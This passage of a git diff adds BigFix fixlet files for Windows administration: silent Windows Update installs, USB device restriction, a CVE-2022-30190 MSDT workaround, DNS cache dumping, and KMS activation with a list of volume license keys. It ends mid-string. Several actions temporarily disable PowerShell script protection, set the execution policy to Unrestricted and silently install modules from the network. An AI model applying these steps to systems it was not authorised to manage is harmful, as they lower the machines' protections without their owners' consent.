+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27889">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows Updates and automatically reboot without asking to reboot.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -AutoReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27890">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to install Windows Updates without rebooting or notifying the user.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
+
+// Check for and install Windows Updates
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -AcceptAll -IgnoreReboot -Confirm:$false&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27891">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to go to the TechNet page on this PowerShell module.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</ActionScript>
+    </Action>
+    <Action ID="Action27892">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to uninstall the PowerShell module.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
+parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+// Disable script protection
+if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
+endif
+
+// Disable execution policy in scope of current user (system)
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
+
+// Install PowerShell Modules from PSGallery
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Uninstall-Module -Name PSWindowsUpdate -Force&quot;
+
+// Restrict execution policy
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
+
+// Re-enable script protection
+if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
+wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
+wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
+endif</ActionScript>
+    </Action>
+    <Action ID="Action27893">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/25528</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes
new file mode 100644
index 000000000..3a52e2914
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows7810DeviceControl (24647).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows7810DeviceControl
+  ID       : 24647
+  Author   : tstacy
+  Domain   : BESC
+  Imported : 2017-09-26T17:42:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows7810DeviceControl</Title>
+    <Description><![CDATA[This task will edit the Windows Registry so only those device Hardware ID's are able to connect.&nbsp; Please only take action by ensuring that USB Devices are removed and a reboot occurs after the update.<VALUE><BR><BR></VALUE>This task is applicable on:&nbsp;Windows 7, Windows 8, Windows 8.1, Windows 10. ]]></Description>
+    <Relevance>(name of operating system = &quot;Win7&quot; OR name of operating system = &quot;Win8&quot; OR name of operating system = &quot;Win8.1&quot; OR name of operating system = &quot;Win10&quot;) AND (NOT exists value &quot;DenyUnspecified&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; of native registry)</Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 26 Sep 2017 23:34:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+delete __createfile
+delete wizardedit.reg
+
+createfile until @end_create_reg_file
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall]
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions]
+"DenyUnspecified"=dword:00000001
+"AllowDeviceIDs"=dword:00000001
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs]
+"1"="USB\\VID_125F&PID_0000&REV_1100"
+@end_create_reg_file
+
+move __createfile wizardedit.reg
+waithidden regedit /s "wizardedit.reg"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes b/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes
new file mode 100644
index 000000000..7f1162c21
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Workaround - Disable the MSDT URL Protocol (26935).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Workaround - Disable the MSDT URL Protocol
+  ID       : 26935
+  Author   : CharlesC
+  Domain   : BESC
+  Imported : 2022-05-31T20:53:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Workaround - Disable the MSDT URL Protocol</Title>
+    <Description>Workaroud provided by Microsoft for CVE-2022-30190. </Description>
+    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
+    <Relevance>exists key &quot;HKEY_CLASSES_ROOT\ms-msdt&quot; of registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
+    <CVENames>CVE-2022-30190</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Jun 2022 02:39:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg export HKEY_CLASSES_ROOT\ms-msdt C:\ms-msdt_bak
+dos reg delete HKEY_CLASSES_ROOT\ms-msdt /f</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes b/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes
new file mode 100644
index 000000000..bfd4515e3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Workaround Undo - Disable the MSDT URL Protocol (26936).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Workaround Undo - Disable the MSDT URL Protocol
+  ID       : 26936
+  Author   : CharlesC
+  Domain   : BESC
+  Imported : 2022-05-31T20:54:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Workaround Undo - Disable the MSDT URL Protocol</Title>
+    <Description>Undo workaroud provided by Microsoft for CVE-2022-30190. </Description>
+    <Relevance><![CDATA[(version of client >= "6.0.0.0") AND (exists true whose (if true then (exists (operating system) whose (it as string as lowercase contains "win" as lowercase)) else false))]]></Relevance>
+    <Relevance>exists file &quot;C:\ms-msdt_bak&quot;</Relevance>
+    <Category>Workaround</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-06-01</SourceReleaseDate>
+    <CVENames>CVE-2022-30190</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Jun 2022 03:14:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos reg import C:\ms-msdt_bak
+dos del C:\ms-msdt_bak</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes
new file mode 100644
index 000000000..84667cdda
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (21333).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : dump DNS Cache - Windows
+  ID       : 21333
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-23T13:42:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>dump DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
+
+waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
+
+delete __createfile
+
+createfile until END_OF_FILE
+{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
+END_OF_FILE
+
+delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
+
+copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes
new file mode 100644
index 000000000..f623f6b3a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/dump DNS Cache - Windows (9281).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : dump DNS Cache - Windows
+  ID       : 9281
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-12T14:30:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>dump DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_dns_cache.txt" whose(now - modification time of it < 1 * hour) of folders "__Global\Logs" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-03-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:28:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "LogFolder" = "{ pathname of folders "__Global\Logs" of data folders of client }"
+
+waithidden cmd /c ipconfig /displaydns > "{parameter "LogFolder"}\results_dns_cache.txt"
+
+delete __createfile
+
+createfile until END_OF_FILE
+{ concatenations "%0d%0a" of unique values of ( (following text of last ": " of it & " ;; " & following text of last ": " of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) | it) of lines whose(it contains "A (Host) Record" OR it contains " ;; ") of (files "results_dns_cache.txt" of it; files "results_dns_cache_history.txt" of it) of folders "__Global\Logs" of data folders of client }
+END_OF_FILE
+
+delete "{parameter "LogFolder"}\results_dns_cache_history.txt"
+
+copy __createfile "{parameter "LogFolder"}\results_dns_cache_history.txt"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes b/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes
new file mode 100644
index 000000000..6dc250d4d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/set Windows KMS key - Windows BETA (21368).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : set Windows KMS key - Windows BETA
+  ID       : 21368
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-31T18:11:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>set Windows KMS key - Windows BETA</Title>
+    <Description><![CDATA[<P>This will only work properly with known KMSkey/OSversion combinations that are contained within the embedded relevance statements.</P>
+<P>There are definitely missing combinations which this will NOT work for.</P>
+<P>The relevance used could be expanded and adapted to work with more KMSkeys.</P>
+<P>This is meant to be taken as a policy action, applied to all computers all of the time.</P>
+<P><STRONG>Known Issue:</STRONG> the relevance that checks to see if windows is activated doesn't account for MS Office being installed, which may make this not relevant on a machine where it SHOULD be relevant</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists unique values whose(1 = it) of integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not null&quot; of wmis</Relevance>
+    <Relevance><![CDATA[exists minima whose( now - it > 1*day ) of subscribe times of sites]]></Relevance>
+    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance><![CDATA[exists ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL")]]></Relevance>
+    <Relevance><![CDATA[not exists string values whose(it is contained by ( ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( (preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 